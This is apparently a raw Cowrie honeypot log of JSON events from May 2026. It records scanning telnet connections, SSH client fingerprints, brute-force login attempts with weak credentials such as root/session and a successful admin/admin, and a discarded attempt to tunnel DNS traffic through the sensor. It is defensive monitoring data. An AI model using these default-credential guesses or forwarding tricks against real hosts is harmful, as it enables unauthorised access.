{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60786,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec92d8635a4","protocol":"telnet","message":"New connection: 50.6.8.71:60786 (10.17.0.5:23) [session: cec92d8635a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:48.853560Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60792,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7fb330928c","protocol":"telnet","message":"New connection: 50.6.8.71:60792 (10.17.0.5:23) [session: 6b7fb330928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:49.755918Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6202739f4249","protocol":"telnet","message":"New connection: 50.6.8.71:35994 (10.17.0.5:23) [session: 6202739f4249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:56.388628Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36010,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0da5c07139","protocol":"telnet","message":"New connection: 50.6.8.71:36010 (10.17.0.5:23) [session: 1a0da5c07139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:58.187438Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37882,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc1d04f6c89","protocol":"ssh","message":"New connection: 46.19.67.181:37882 (10.17.0.5:22) [session: ccc1d04f6c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:03.767933Z"}
{"eventid":"cowrie.session.closed","duration":37.199249029159546,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:05.633379Z","src_ip":"50.6.8.71","session":"dba18790ea5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56024,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda54164682a","protocol":"telnet","message":"New connection: 50.6.8.71:56024 (10.17.0.5:23) [session: cda54164682a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:07.332175Z"}
{"eventid":"cowrie.session.closed","duration":31.371601343154907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.184636Z","src_ip":"50.6.8.71","session":"2202d53fe5f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56040,"dst_ip":"10.17.0.5","dst_port":23,"session":"c07dd441d6e9","protocol":"telnet","message":"New connection: 50.6.8.71:56040 (10.17.0.5:23) [session: c07dd441d6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.241467Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4123d7dfb6","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 2e4123d7dfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.445083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.450202Z","src_ip":"4.210.91.174","session":"2e4123d7dfb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.518624Z","src_ip":"4.210.91.174","session":"2e4123d7dfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"session","message":"login attempt [root/session] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:08.819693Z","src_ip":"4.210.91.174","session":"2e4123d7dfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:09.890299Z","src_ip":"4.210.91.174","session":"2e4123d7dfb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55950,"dst_ip":"10.17.0.5","dst_port":23,"session":"424f3b6ae8e8","protocol":"telnet","message":"New connection: 50.6.8.71:55950 (10.17.0.5:23) [session: 424f3b6ae8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:19.536836Z"}
{"eventid":"cowrie.session.closed","duration":34.648595094680786,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:19.903118Z","src_ip":"50.6.8.71","session":"1de09efc4208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27703547477722,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:25.032873Z","src_ip":"50.6.8.71","session":"6b7fb330928c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97602415084839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:29.163336Z","src_ip":"50.6.8.71","session":"1a0da5c07139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8cd581f0a1","protocol":"telnet","message":"New connection: 50.6.8.71:46540 (10.17.0.5:23) [session: 9c8cd581f0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:31.988295Z"}
{"eventid":"cowrie.session.closed","duration":36.547855377197266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:32.936374Z","src_ip":"50.6.8.71","session":"6202739f4249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94258999824524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:39.183944Z","src_ip":"50.6.8.71","session":"c07dd441d6e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.159953117370605,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:43.013439Z","src_ip":"50.6.8.71","session":"cec92d8635a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88433218002319,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:43.216326Z","src_ip":"50.6.8.71","session":"cda54164682a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"7980d5b41ff1","protocol":"telnet","message":"New connection: 50.6.8.71:38254 (10.17.0.5:23) [session: 7980d5b41ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:45.812591Z"}
{"eventid":"cowrie.session.closed","duration":31.48744559288025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:51.024193Z","src_ip":"50.6.8.71","session":"424f3b6ae8e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50948,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de4ff8b8d57","protocol":"telnet","message":"New connection: 50.6.8.71:50948 (10.17.0.5:23) [session: 6de4ff8b8d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:56.596517Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fff80aa9fc3","protocol":"telnet","message":"New connection: 50.6.8.71:50950 (10.17.0.5:23) [session: 8fff80aa9fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:07:58.130830Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed25c6d74a57","protocol":"telnet","message":"New connection: 50.6.8.71:50954 (10.17.0.5:23) [session: ed25c6d74a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:01.035897Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1618cf287bd","protocol":"telnet","message":"New connection: 50.6.8.71:50956 (10.17.0.5:23) [session: e1618cf287bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:03.632327Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45400,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d01545b159d","protocol":"telnet","message":"New connection: 50.6.8.71:45400 (10.17.0.5:23) [session: 5d01545b159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:06.519652Z"}
{"eventid":"cowrie.session.closed","duration":35.391541481018066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:07.379747Z","src_ip":"50.6.8.71","session":"9c8cd581f0a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45414,"dst_ip":"10.17.0.5","dst_port":23,"session":"74747213deea","protocol":"telnet","message":"New connection: 50.6.8.71:45414 (10.17.0.5:23) [session: 74747213deea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:11.418994Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"684bef8e8851","protocol":"telnet","message":"New connection: 50.6.8.71:45424 (10.17.0.5:23) [session: 684bef8e8851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:12.636121Z"}
{"eventid":"cowrie.session.closed","duration":32.237165451049805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:18.049650Z","src_ip":"50.6.8.71","session":"7980d5b41ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32168,"dst_ip":"10.17.0.5","dst_port":22,"session":"846d185ed7cd","protocol":"ssh","message":"New connection: 87.251.64.176:32168 (10.17.0.5:22) [session: 846d185ed7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:31.800520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:31.805639Z","src_ip":"87.251.64.176","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:31.906545Z","src_ip":"87.251.64.176","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:32.196975Z","src_ip":"87.251.64.176","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:32.296570Z","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:32.395576Z","src_ip":"87.251.64.176","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:32.494817Z","src_ip":"87.251.64.176","session":"846d185ed7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.569279193878174,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:32.700018Z","src_ip":"50.6.8.71","session":"8fff80aa9fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.99152207374573,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:38.587890Z","src_ip":"50.6.8.71","session":"6de4ff8b8d57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.95981574058533,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:39.995588Z","src_ip":"50.6.8.71","session":"ed25c6d74a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1822726726532,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:41.701810Z","src_ip":"50.6.8.71","session":"5d01545b159d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670708417892456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:42.089577Z","src_ip":"50.6.8.71","session":"74747213deea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.594390869140625,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:47.226553Z","src_ip":"50.6.8.71","session":"e1618cf287bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94358801841736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:08:47.579565Z","src_ip":"50.6.8.71","session":"684bef8e8851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":48656,"dst_ip":"159.203.135.109","dst_port":22,"session":"27a81062eb64","protocol":"ssh","message":"New connection: 200.77.172.159:48656 (159.203.135.109:22) [session: 27a81062eb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:02.064542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:02.071927Z","src_ip":"200.77.172.159","session":"27a81062eb64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:02.145753Z","src_ip":"200.77.172.159","session":"27a81062eb64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bagabu","message":"login attempt [root/bagabu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:02.472339Z","src_ip":"200.77.172.159","session":"27a81062eb64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:03.552685Z","src_ip":"200.77.172.159","session":"27a81062eb64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:03.774122Z","src_ip":"46.19.67.181","session":"ccc1d04f6c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36978,"dst_ip":"10.17.0.5","dst_port":23,"session":"823036d67544","protocol":"telnet","message":"New connection: 50.6.8.71:36978 (10.17.0.5:23) [session: 823036d67544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:08.869583Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e5a36012ff7","protocol":"telnet","message":"New connection: 50.6.8.71:36980 (10.17.0.5:23) [session: 1e5a36012ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:09.883954Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36982,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a38aead76f","protocol":"telnet","message":"New connection: 50.6.8.71:36982 (10.17.0.5:23) [session: 84a38aead76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:14.197023Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2de53aef76","protocol":"telnet","message":"New connection: 50.6.8.71:36984 (10.17.0.5:23) [session: ce2de53aef76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:17.269802Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56994,"dst_ip":"10.17.0.5","dst_port":23,"session":"71cc32a4c2fc","protocol":"telnet","message":"New connection: 50.6.8.71:56994 (10.17.0.5:23) [session: 71cc32a4c2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:20.346766Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57020,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09d061d9a3e","protocol":"telnet","message":"New connection: 50.6.8.71:57020 (10.17.0.5:23) [session: d09d061d9a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:25.187498Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57004,"dst_ip":"10.17.0.5","dst_port":23,"session":"b10888d4e2ce","protocol":"telnet","message":"New connection: 50.6.8.71:57004 (10.17.0.5:23) [session: b10888d4e2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:27.127054Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8cbb003e1b","protocol":"telnet","message":"New connection: 50.6.8.71:46988 (10.17.0.5:23) [session: 4f8cbb003e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:38.544819Z"}
{"eventid":"cowrie.session.closed","duration":34.69182515144348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:43.561294Z","src_ip":"50.6.8.71","session":"823036d67544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":64298,"dst_ip":"159.203.135.109","dst_port":23,"session":"116fd29d959a","protocol":"telnet","message":"New connection: 181.94.225.234:64298 (159.203.135.109:23) [session: 116fd29d959a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:47.626709Z"}
{"eventid":"cowrie.session.closed","duration":31.977961778640747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:49.247607Z","src_ip":"50.6.8.71","session":"ce2de53aef76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.00570511817932,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:49.889540Z","src_ip":"50.6.8.71","session":"1e5a36012ff7","protocol":"telnet"}
